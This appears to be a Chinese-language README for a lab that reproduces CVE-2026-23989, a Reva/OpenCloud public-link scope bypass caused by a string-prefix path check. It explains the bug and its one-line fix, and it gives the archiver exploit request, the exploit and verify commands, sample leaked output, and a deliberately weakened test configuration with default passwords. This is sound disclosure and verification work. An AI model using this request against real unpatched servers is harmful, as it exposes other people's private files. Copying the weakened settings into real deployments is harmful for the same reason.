| CVE | CVE-2026-23989 |
| 公告 | GHSA-vf5j-r2hw-2hrw(“公共链接漏洞”) |
| CVSS 3.1 | 8.2 高危 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| 类别 | 访问控制失效 — 作用域验证中的路径前缀混淆 |
| 根本原因 | Reva checkIfNestedResource 使用 strings.HasPrefix 进行路径包含判断 |
| 受影响版本 | OpenCloud 稳定版 ≤ 4.0.2(Reva ≤ v2.40.2),滚动版 ≤ 5.0.1(Reva ≤ v2.42.1) |
| 修复版本 | OpenCloud 4.0.3 / 5.0.2(Reva v2.40.3 / v2.42.3,PR opencloud-eu/reva#522) |
| 披露日期 | 2026-02-05 |
OpenCloud 是 ownCloud Infinite Scale (OCIS) 的 2025 年分支,由前 ownCloud 工程师在 Kiteworks 收购 ownCloud 后创建。该缺陷位于 Reva(OCIS/OpenCloud 共用的 CS3 存储后端)中,且根据厂商公告,“源自 ownCloud (Kiteworks) 代码库,并在 OpenCloud 分支 OCIS 时被继承。”此处使用 OpenCloud 是因为它提供了干净、固定版本、公开的易受攻击和已修复镜像,使得精确的 A/B 对比成为可能。
internal/grpc/interceptors/auth/scope.go 中的 checkIfNestedResource 函数 — 该网关拦截器决定公共链接令牌是否可以访问某个资源:
// 易受攻击(Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath 是共享文件夹的路径(链接的作用域);childPath 是所请求资源的路径。字符串前缀判断不是路径包含判断:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (同级目录,而非子目录)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← 错误:授予访问权限
因此,作用域为 /Shared 的链接也可以访问任何同一空间内路径以字符串 /Shared 开头的资源 — 例如 /Shared-secret、/Shared-2024、/Shared backup。修复方案将该判断替换为 filepath.Rel,并拒绝任何以 .. 开头的相对路径(完整补丁见 patch/reva-scope.go.patch)。
每个携带公共链接令牌的网关操作都会经过存在缺陷的作用域检查,但发现者使用的原语(也是本实验室使用的)是 归档器服务 GET /archiver,它通过 public-token: 请求头对公共链接进行认证。该服务接受一个资源 id(?id=<fileid>),遍历该资源并流式返回 zip 文件。将越界前缀同级目录的 id 指向它,存在缺陷的检查便会放行:
GET /archiver?id=<id-of-/Shared-secret>
public-token: <作用域为 /Shared 的链接令牌>
→ 200,/Shared-secret 的 zip 文件 (在 4.0.2 上)
→ 404 “gateway could not find space for ref=…” (在 4.0.3 上)
攻击者必须提供越界目标的资源 id。该不透明 id 是随机 UUID,无法通过公共链接本身枚举(该链接无法列出所有者的空间 — 返回 401)。然而在 OCIS 中,资源的 oc:fileid 几乎在每次 WebDAV/graph 响应、共享邀请、活动通知和 Web URL(/f/<id>)中都会暴露,因此任何先前的协作者、其他共享的前接收者或内部用户通常都持有该 id — 这就是厂商将攻击复杂度评为低的原因。实验室的 setup.sh 以“受害者”身份获取该 id,然后交给攻击者步骤,模拟这种现实的前置知识。路径遍历(?path=../…)不是可行的替代方案:这些路径相对于共享解析并被清理(404)。
"/",且 HasPrefix("/", "/Shared") 为 false(实验室确认了这一点:空间根归档 → 404)。非前缀同级目录(如 /Private)在易受攻击版本上同样被拒绝 — 实验室将其作为对照组,以证明该效果是特定的前缀漏洞,而非全面的认证失败。| 文件 | 用途 |
|---|---|
docker-compose.yml | 一个 OpenCloud 容器;OC_TAG 选择易受攻击版本(4.0.2)或已修复版本(4.0.3)。 |
setup.sh | 在演示用户 mary 的空间中植入受害者场景,并在 /Shared 上创建无密码公共链接。写入 state.env。 |
exploit.sh | 攻击者 PoC。给定链接令牌 + 目标资源 id,调用归档器并打印任何被窃取的字节。 |
verify.sh | 单命令 A/B 对比:在 4.0.2 上复现,在 4.0.3 上确认已修复,打印 PASS/FAIL 矩阵。 |
patch/reva-scope.go.patch | 精确的上游单行修复,带注释。 |
在 mary 个人空间中植入的场景:
/Shared/public-note.txt ← 通过公共链接共享 (作用域内)
/Shared-secret/flag.txt ← PoC 目标;路径前缀为 "/Shared" (作用域外)
/Private/topsecret.txt ← 对照组;非前缀 (作用域外,保持被拒绝)
要求:Docker + Docker Compose、curl、python3。需拉取约 250 MB 镜像。
./verify.sh
预期输出:
== 针对易受攻击版本 4.0.2 的漏洞利用 + 对照组 ==
[PASS] 作用域内 /Shared(合法访问)(预期泄露)
[PASS] PoC:作用域外 /Shared-secret(预期泄露)
[PASS] 非前缀 /Private(必须保持被拒绝)(预期拒绝)
== 针对已修复版本 4.0.3 的漏洞利用 + 对照组 ==
[PASS] 作用域内 /Shared(仍然可用)(预期泄露)
[PASS] PoC:作用域外 /Shared-secret(已修复)(预期拒绝)
== 结论 ==
5 通过,0 失败
CVE-2026-23989 已在 4.0.2 上复现,并确认在 4.0.3 上已修复。
使用滚动发布版本对而非稳定版:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. 启动易受攻击版本
OC_TAG=4.0.2 docker compose up -d
# 2. 植入受害者场景(创建公共链接,写入 state.env)
./setup.sh
# 3. 攻击:泄露越界同级目录(从 state.env 读取目标)
./exploit.sh # 默认使用 /Shared-secret 的 id
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # 对照组:被拒绝
针对易受攻击版本的真实输出记录(state.env 值每次运行不同):
===== 漏洞利用 /Shared-secret (作用域外前缀同级目录) =====
[*] 公共链接令牌:UVWPXGsjlLJRYxK (作用域:单个共享文件夹)
[*] HTTP 200, 365 字节
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] 泄露确认 — 越界文件字节已通过公共链接被窃取。
===== 对照组 /Private (作用域外,非前缀) =====
[*] HTTP 404, 249 字节
[-] 被拒绝 — 服务器拒绝:错误:未找到:gateway could not find space for ref=…
使用相同数据(相同令牌和 id)确认修复:
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # 现在 → HTTP 404,被拒绝
拆除:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT=""。厂商确认这可以完全缓解该问题(公共链接随后将返回错误)。docker-compose.yml 有意削弱了实例,以便 PoC 可脚本化:
PROXY_ENABLE_BASIC_AUTH=true(使 curl -u/public-token 无需 OIDC 流程即可工作)、IDM_CREATE_DEMO_USERS=true(mary/demo 等 — 公开密码)、IDM_ADMIN_PASSWORD=admin、无密码公共链接,以及自签名证书(curl -k)。这些都不是漏洞本身;它们只是使漏洞在 shell 中可被观察。绕过本身与这些配置无关。